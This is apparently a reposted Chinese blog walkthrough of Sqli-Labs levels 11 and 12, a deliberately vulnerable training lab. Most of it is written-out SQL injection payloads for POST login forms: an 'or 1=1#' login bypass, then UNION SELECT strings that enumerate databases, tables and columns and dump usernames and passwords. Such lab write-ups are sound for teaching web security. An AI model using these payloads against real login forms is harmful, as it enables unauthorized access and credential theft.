Sqli-Labs less11-12

Posted n0r4h

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Sqli-Labs less11-12相关的知识,希望对你有一定的参考价值。

less-11

 

11关以后已经和前几关不同。页面由get方式变成了类似form表单的post方式的登陆界面,我们不能直接看到数据,所以要用到burp抓包.

抓包方式前面已经说过,这里直接使用,我们先输入admin看看:

 

 

 

 

 

 

 

 

 我们通过上面的数据包可以看到最后一行是post的数据,所以可以在hackbar的post data进行注入:

注意:注释符不能再用--+或者--空格,只能用#,因为前者是在url中使用的

uname=admin\' or 1=1# &passwd=admin&submit=Submit

 

 

 uname=admin\' &passwd=admin&submit=Submit

 

 

 通过上图我们可以明确存在注入漏洞,然后步骤和前面基本一致:

我们假设不知道正确的用户名和密码,查列:uname=a&passwd=a\' order by 3#&submit=Submit

 

 

 uname=a&passwd=a\' order by 2#&submit=Submit

 

 

 uname=a&passwd=a\' union select 1,2 #&submit=Submit

 

 由以上可知,数据表中有两个字段,然后按照以前的步骤:

爆库:uname=a&passwd=a\' union select 1,(select group_concat(schema_name)from information_schema.schemata) #&submit=Submit

 

 

 查看当前数据库:uname=a&passwd=a\' union select 1,database() #&submit=Submit

 

 

 爆表:uname=a&passwd=a\' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479) #&submit=Submit

 

 

 获取users表中的字段内容:uname=a&passwd=a\' union select 1,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273) #&submit=Submit

 

 

 获取users表中的用户名和密码:uname=a&passwd=a\' union select 1,(select group_concat(concat_ws(\'-\',username,password))from security.users) #&submit=Submit

 

less-12

第12关与11关基本完全一致,只有数据包裹的格式不同,变成了(“a”),其他步骤完全一样,所以这里放一下最后的结果语句:

uname=a&passwd=a") union select 1,(select group_concat(concat_ws(0x2d,username,password))from security.users) #&submit=Submit

0x2d代表-

 

在这也总结一下数据格式,便于猜解,一般有:

‘’

(‘’)

((‘’))

“”

(“”)

((“”))

以上是关于Sqli-Labs less11-12的主要内容,如果未能解决你的问题,请参考以下文章

sqli-labs less54-65

sqli-labs Less54-Less65

sqli-labs通关(less31~less40)

《SQLi-Labs》01. Less 1~5

Sqli-Labs less23-24

sqli-labs:Less-22